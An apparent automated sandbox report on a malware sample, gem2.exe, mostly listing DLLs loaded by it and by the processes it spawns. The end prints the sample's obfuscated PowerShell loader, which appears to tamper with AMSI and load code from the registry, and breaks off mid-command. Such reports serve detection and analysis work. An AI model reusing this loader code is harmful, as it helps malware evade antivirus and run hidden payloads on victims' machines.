Source: C:\Users\user\Desktop\gem2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\System-f4855f59e0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\System-f4855f59e0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\System-f4855f59e0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\System-f4855f59e0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: jsoncpp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libcrypto-3-x64.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libcurl.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: zlib1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: comsvcs.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: cmlua.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: cmutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	Section loaded: reagent.dll	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	Section loaded: fveapi.dll	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	Section loaded: fveapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\takeown.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\takeown.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\winlogon.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: comsvcs.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: cmlua.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: cmutil.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: pdh.dll

Source: C:\Users\user\Desktop\gem2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: gem2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: gem2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: gem2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\User\vcpkg\buildtrees\jsoncpp\x64-windows-rel\bin\jsoncpp.pdb source: svchost.exe, 00000010.00000002.2552768573.00000173CDFA3000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: d:\agent\_work\7\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: svchost.exe, 00000010.00000002.2553572741.00000173CDFF5000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: svchost.exe, 00000010.00000002.2553168813.00000173CDFE0000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\jsoncpp\x64-windows-rel\bin\jsoncpp.pdb%%" source: svchost.exe, 00000010.00000002.2552768573.00000173CDFA3000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\msvcp140.amd64.pdb source: svchost.exe, 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: svchost.exe, 00000010.00000002.2554832457.00000173CF9BF000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: svchost.exe, 00000010.00000002.2557783221.00000173CFFDA000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: svchost.exe, 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: svchost.exe, 00000010.00000002.2554832457.00000173CF9BF000.00000002.10000000.00040000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($scwfUeOSfALItM,$EtevswwRQwRAejVCuvR).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+'l');$TXsAOQOMQALSJtBsu=$kpBUoTRvoOegOC.Invoke($Nul
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+'t'+'e')),[
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'$'+''+'L'+''+'M'+''+[Char](88)

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EtrMmUyKmezi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lQOtNkEZiwxXMY,[Parameter(Position=1)][Type]$pZbFqViXVD)$sbBqvXXfarI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+'od'+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'led'+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'to'+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sbBqvXXfarI.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$lQOtNkEZiwxXMY).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$sbBqvXXfarI.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+